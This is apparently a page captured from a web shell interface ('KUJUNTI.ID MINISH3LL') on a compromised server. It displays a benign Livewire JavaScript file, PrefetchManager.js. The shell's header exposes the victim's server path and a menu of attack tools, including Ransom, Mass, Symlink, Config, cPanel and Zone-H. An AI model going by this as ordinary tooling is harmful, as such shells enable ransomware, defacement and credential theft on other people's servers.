KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaymedia/vendor/livewire/livewire/js/component/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaymedia/vendor/livewire/livewire/js/component/PrefetchManager.js


class PrefetchManager {
    constructor(component) {
        this.component = component
        this.prefetchMessagesByActionId = {}
    }

    addMessage(message) {
        this.prefetchMessagesByActionId[message.prefetchId] = message
    }

    actionHasPrefetch(action) {
        return Object.keys(this.prefetchMessagesByActionId).includes(
            action.toId()
        )
    }

    actionPrefetchResponseHasBeenReceived(action) {
        return !! this.getPrefetchMessageByAction(action).response
    }

    getPrefetchMessageByAction(action) {
        return this.prefetchMessagesByActionId[action.toId()]
    }

    clearPrefetches() {
        this.prefetchMessagesByActionId = {}
    }
}

export default PrefetchManager

© KUJUNTI.ID